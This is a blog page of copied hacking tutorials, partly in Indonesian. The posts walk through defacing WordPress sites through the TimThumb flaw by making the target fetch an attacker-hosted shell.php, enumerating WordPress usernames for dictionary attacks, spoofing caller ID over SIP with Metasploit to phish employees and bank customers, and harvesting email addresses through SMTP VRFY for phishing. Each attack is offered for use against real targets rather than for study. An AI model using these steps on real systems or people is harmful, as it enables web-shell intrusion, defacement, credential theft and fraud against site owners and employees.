Showing posts with label Hacking. Show all posts
Tutorial Deface Dengan TimThumb 1.14
Okeh sebelum belajar exploit ini saya mau ngejelasin bahwa timthumb ini adalah suatu bug dimana terdapat di semua website wordpress , lebih tepatnya terdapat pada " theme / tema " suatu website ,,,
Contoh : themes/optimizepress/timthumb.php < nah kalo ada bacaan seperti "
Contoh : themes/optimizepress/timthumb.php < nah kalo ada bacaan seperti "
no image specified
Query String :
TimThumb version : 1.19
berarti vuln ;) ,, nah yang harus kamu ketahui lagi itu adalah TimThumb version .
Nah jadi target yang bisa kita exploitasi itu timthumb version 1.14 sampai dengan
1.32 ,, Udah ngerti kan ? :) kalo belum ngerti liat aja tutorialnya :) ,, Yuk TKP ..
Alat dan Bahan :
1. Subdomain yang terintegrasi website berikut
: picasa.com
: blogger.com
: flixr.com
sebenarnya ada 5 tapi aku gk hafal U,u ,, contoh " flxr.com.namawebsitekamu.com/shell.php "
, Nah sebelumnya kamu musti upload dulu shell di subdomain kamu yang letaknya di directory
public_html / httpdocs / www / dan macam² ..
2. Otak dan pantang menyerah ;) ..
Exploit :
1. Kali ini saya dah punya target sendiri ,, lihat gambar ..
2. Nah kemudian kalian tambahkan subdomain kalian di ahkir url seperti ini " ?src=http://www.flixr.com.subdomainkamu.com/shell.php " < begitu mas ;) ,, kurang jelas ? lihat gambar ..
" /cache/c89de71219ef668b7642e43e04d5d4df.php " masih kurang jelas ? liat gambar ..
hehe sory yak uploadernya punya pak deb~X ,,
Source : Extreme Crew
post diambil dari SINI
Cara Mengetahui Username Pada Wordpress [ Cocok Untuk Yang Hobi BF ]
kali ini ane pengen share cara mengetahui username pada wordpress.
ane sendiri juga baru tau setelah kemarin ngubek ngubek WPScan.
cukup simple sih.
cuma menambahkan ?author=id
nanti akan muncul username + namenya.
pada kali ini cuma menampilkan username + name dari id 1-10.
kalo mau sampe 20, ubah aja $id yang didalem for.
POC:
jadi ini cuma menampilkan id yg ada username + namenya aja.
setelah mengetahui usernamenya, silahkan di dictionary attack.
#KeepShare.
ane sendiri juga baru tau setelah kemarin ngubek ngubek WPScan.
cukup simple sih.
cuma menambahkan ?author=id
nanti akan muncul username + namenya.
pada kali ini cuma menampilkan username + name dari id 1-10.
kalo mau sampe 20, ubah aja $id yang didalem for.
POC:
jadi ini cuma menampilkan id yg ada username + namenya aja.
setelah mengetahui usernamenya, silahkan di dictionary attack.
script:
http://pastebin.com/AqCmhr2Y
#KeepShare.
Post Copied From INDOEXPLOIT
Learn How Elliot from Mr. Robot Hacked into His Therapist's New Boyfriend's Email & Bank Accounts (Using Metasploit)
Social engineering is a pretty important item in a hacker's toolkit.
In Mr robot there was a time, we saw Elliot using social engineering to gain access to his therapist's boyfriend's email and bank accounts by calling him and pretending to be someone from his bank, then Elliot asked him for some info that were really useful to gain access to his account, the target believed to be someone from the bank and gave him the info Elliot was looking for.
But How Is It in the Real World?
Gathering information about a target remotely is easy, but learning about the person behind the screen is important too. You can't always gather that information by just googling or using website offering info about people or institutions, sometimes you have to get this info directly from the user,in the real world, Bazzell said, most breaches we hear about start with social engineering. He said they usually occur through a malicious email or by tricking an employee, so this is what are we going to learn today.
What Are We Going to Do?
Today i'm going to show you how you can trick an employee to give you all the info to successfully hack the company, using metasploit and softphone.
Introduction about SIP and voip
Due to its increasing reliability and accessibility, in recent years, internet telephony technology has become a plausible choice for many businesses, allowing them to cut down on their communication costs whilst enjoying a rich communication experience.
SIP and VoIP provide the foundations for IP technology. Both technologies provide ample benefits and opportunities for the user to save money whilst increasing their productivity. Each protocol has pros and cons, and they are often used together.
All of us were already at least once in life been in an office, and we noticed the presence of one or more landline telephones, mainly in the area of customer service, but these days most companies no longer use those landline telephones, instead companies have adapted the use of ip phones (SIP,VOIP), which are sometimes free(SKYPE) and can be accessed anywhere in the world , all you need is the public SIP address that follows you much like your email address would. It doesn't really matter where you are or what device you use; as long as you're logged in (registered), SIP communications will be redirected to your current location.
Session Initiation Protocol, (SIP), is a powerful and efficient communications protocol which can be used to send multimedia messages to multiple parties - allowing people around the world to communicate over the internet using their computers and mobile devices
Voice over IP (VoIP) is a methodology and group of technologies for the delivery of voice communications and multimedia sessions over Internet Protocol (IP) networks, such as the Internet.
For more info about these protocols you can google it in case you don't understand them.
REAL WORLD EXAMPLE
For this example we are going to use google as target company, but you could change google to the name or domain of your target company or entity, Softphone as our voip phone also called ip phone, and metasploit to create a fake SIP invite request making the targeted device ring and display fake caller id information, because in the real world users would believe only trusted caller(But for some people you dont even need all this process).
Before we start a softphone is a software program for making telephone calls over the Internet using a general purpose computer, rather than using dedicated hardware. The softphone can also be installed on a piece of equipment such as a workstation, portable computer, tablet or even a cellphone and allows the user to place and receive calls without requiring an actual telephone set, at its available for linux too, enough theory for today fire up your kali linux and download softphone
apt-get install sflphone-gnome
As you can see from the below pic, i have already downloaded the softphone, skip it in case you have it too.
As you can see from the below pic, i have already downloaded the softphone, skip it in case you have it too.
Once yo done downloading you can access the softphone by navigating through applications--->usual applications--->internet and you will see the softphone installed there, just click on the icon to open it(lol i bet you already know how to open programs).
When you open it for the first time, you will be prompted with a screen like the one below, for now just set everything as below and click next
Now when you get the phone on your screen go to edit-->accounts---> and choose "ip2ip" click on edit and choose advanced
On network interface choose your network interface and leave the port as default, in my case i'm using eth0 as interface, you can choose any.
For now we are done configuring our ip phone.
The Hack
We will be using metasploit to hack our softphone, this is intended for users that knows how to use metsploit.
The module we will use will create a fake SIP invite request making the targeted device ring and display fake caller id information.
The commands:
msfconsole
use auxiliary/voip/sip_invite_spoof
msfconsole
use auxiliary/voip/sip_invite_spoof
To see the options(please don't copy it, its not a command simply to economize time)
Understanding the Module
The DOMAIN is the sip domain, in our case as we will be working locally, we can just skip it, it could be something like google, wonderhowto or any other as long they have a sip domain.
The EXTENSION is the target identity inside the network, record for SIP does the same thing as a mail exchange record for email,lets say the sip domain is google, the extension of a target could be something like voice.john@google.com
The MSG is the spoofed caller id to send in our case we will pretend we are from the it department of google
The RHOSTS is the target ip, in my case my softphone is installed in my localhost with the ip 192.168.0.101
The SRCADDR is the spoof call sip address, in our case it will be voice.admin@google.com, to make the target(employee fro google in our case) thinking that its coming from google it department.
When we run it we will receive a call apparently coming from google it department, but it was just a spoofed identity as we can see from the below pic.
Of course its rare for you to get it working on google, but if you can try in some other companies or entities, all you need is just their voip ip address or you can just be in the same network and scan for ip with the following open ports : 5060, 5070, 10000-65535 default ports for a lot of voip services.
You can see that our softphone use the port 5060
Another thing you could do as well is to send an invitation over all the ip on the network, you just need to set the RHOSTS to a range of the ip on the target network in my case it could be
Once it finds an ip running sip on 5060 it then send an invitation as you can see from the above pic, this time we send an invitation over the network
What Now? How Can I Get Someones Email, or Bank Account Passwords with This?
Now its all about social engineering, once the user accepts the call use your best to trick him to give the info you are looking for.
In our example using google you could say that you are recently working on some new security app for google employees and would like to update employee's data, with more time you can figure out exactly what to say to gain access of their account, because they will think you are working in the it department of google, they might or not give you info, but its all about good talking.
Just like Elliot did, we could call to the target bank and pretend we are from It department and we would like to get some info about an user(our target) and so on...
Thats all for now, if i did mistake any thing or you would like to add your opinion, such as how you would trick the employee you are welcome...
see you soon and happy hacking...
Post Copied From Null Byte
Hack Like a Pro: How to Extract Email Addresses from an SMTP Server
If we are considering a social engineering attack against a target, we are probably going to need email addresses. By having the email addresses of people within an organization, we can tailor our social engineering attack to particular people and circumstances within that organization (e.g., a sales report to the sales department) and maybe spoof the email address of a colleague within the organization. In this way, they are more likely to click on a link or open a document that we send them.
There are multiple ways of collecting email addresses including Maltego, an email harvester, and others, but what if we could go directly into the organization's SMTP server and ask it if an email address exits? Wouldn't that be best and most reliable method?
Background on SMTP
As you know, SMTP stands for Simple Mail Transport Protocol and operates on port 25. Unlike POP3 and IMAP that operate over ports 110 and 143, respectively, SMTP is a server-to-server protocol. Clients use POP3 or IMAP to retrieve or send messages to the SMTP server, while the SMTP server then communicates to other SMTP servers.
The SMTP server, obviously, maintains a database of every email address in the organization that it must send and receive email for. It is this database that we want to access and query.
SMTP Commands
The SMTP protocol, like so many other protocols, has its own subset of commands. Here are a few of the most important SMTP commands.
- HELO - This is the command that the client sends to the server to initiate a conversation. Generally, the IP address or domain name must accompany this command, such as HELO 192.168.101 or HELO client.microsoft.com.
- EHLO - This command is the same as HELO, but communicates to the server that the client wants to use Extended SMTP. If the server does not offer ESMTP, it will still recognize this command and reply appropriately.
- STARTTLS - Normally, SMTP servers communicate in plaintext. To improve security, the connection between SMTP servers can be encrypted by TLS (Transport Layer Security). This command starts the TLS session.
- RCPT - Specifies the email address of the recipient.
- DATA - Starts the transfer of the message contents.
- RSET - Used to abort the current email transaction.
- MAIL - Specifies the email address of the sender.
- QUIT - Closes the connection.
- HELP - Asks for the help screen.
- AUTH - Used to authenticate the client to the server.
- VRFY - Asks the server to verify is the email user's mailbox exists.
Step 1: Fire Up Kali & Open a Terminal
Now that we covered the basics of SMTP, let's see if we can use this knowledge to hack the SMTP server to extract email addresses. Let's fire upKali and open a terminal.
Step 2: Telnet into the SMTP Server
Our next step is to see whether we can manually connect to the SMTP server using telnet.
kali > telnet 192.168.1.101 25
As you can see, we have successfully connected to the Metasploitable server via telnet.
Step 3: Manually Try Email Addresses
Now that we are connected via telnet to the SMTP server, we can use the SMTP commands listed above to query the server. Most importantly, we want to use the VRFY (verify) command. Using this command, followed by the email user name, will prompt the server to verify whether the user account exits, such as:
> VRFY sys
As you can see in the screenshot above, I tried users:
- sys
- admin
- administrator
- nullbyte
- root
The server verified that "sys" and "root" have email accounts on the server. Great!
Step 4: Use Smtp-User-Enum
As you could see in Step #3, we can manually query the SMTP server to see whether a particular email address exists. Wouldn't it be easier if we had a script that did this automatically? Fortunately, we do! It's called smtp-user-enum and it's built into Kali.
We can find it at Applications -> Kali Linux -> Information Gathering - SMTP Analysis -> smtp-user-enum.
When we click on it, a help screen like that below opens. Note that the basic syntax for using this tool to find email users is:
kali > smtp-user-enum -M VRFY -U <userlist> -t <target IP>
Now let's construct a command to use against the Metasploitable SMTP server. We can use any of the wordlists in Kali, create our own, or download any of thousands available on the Internet. I've decided to try one built into Kali at:
/usr/share/fern-wifi-cracker/extras/wordlist
Using it, my command becomes:
kali > smtp-user-enum -M VRFY -U /usr/sharefern-wifi-cracker/extras/wordlist -t 192.168.1.101
As you can see in the screenshot below, we started it running and it first displays the scan information.
Then, the users found.
Now that we know what users are on that organization's email server, we can send social engineering emails to them or spoof their email addresses and send social engineering emails to their colleagues.
Keep coming back, my budding hackers, as we continue to explore the art and technique of hacking!
Subscribe to:
Posts (Atom)